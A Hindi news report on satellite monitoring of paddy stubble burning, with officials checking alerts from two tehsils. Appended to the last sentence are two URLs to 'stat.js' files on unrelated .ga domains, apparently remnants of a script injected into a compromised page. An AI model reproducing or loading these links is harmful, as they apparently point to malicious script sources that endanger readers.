अब पराली जलाने वाले किसान हो जाए सावधान क्योकि पराली जलाना पड सकता है भारी। अब पराली न जलने पाए इसकी जान्च होगी सेटेलाइट के जरिये। पराली जलाने वाले किसानो पर होगी तुरंत कार्यवाही।

 

दरअसल, धान फसल का अवशेष यानी पराली न जलने पाएं इसके लिए अब सेटेलाइट के जरिये निगरानी करी जायेगी। आनलाइन लेटीट्यूड व लांगीट्यूड के साथ तस्वीर प्राप्त की जा सकती है और इसी के आधार पर किस तहसील के किस गांव के खेत में पराली जली है? इसकी तुरंत जानकारी मिल जाती है। जांच में पराली जलाने का मामला सच मिलने पर दोषी किसान के खिलाफ तुरंत कार्रवाई करें जाने के आदेश है।

 

जिला कृषि अधिकारी पीसी विश्वकर्मा ने बताया कि सेटेलाइट के जरिए प्राप्त होने वाली सूचना में अक्षांश व देशांतर के साथ घटना का समय, दिन अथवा रात सहित अन्य बातें उल्लेख रहती हैं। शव जलाने अथवा कोई वस्तु जलाने पर ज्यादा धुआं निकलने पर उसकी भी तस्वीर सेटेलाइट में कैद हो जाती है। धरातल पर जांच कराने पर स्थिति और स्पष्ट हो जाती है। फिलहाल सेटेलाइट से पराली की निगरानी का कार्य प्रारंभ हो चुका है।

 

सेटेलाइट के जरिए खलीलाबाद तहसील के सेमरियावां में पिछले सोमवार की रात धनघटा तहसील के पौली में मंगलवार को दिन में पराली जलाने की सूचना मिली जिसके बाद आनलाइन प्राप्त इस सूचना से दोनों तहसीलों के तहसीलदार को अवगत कराया गया। हलांकि जांच में पराली जलाने की पुष्टि नहीं हो पाई।https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms

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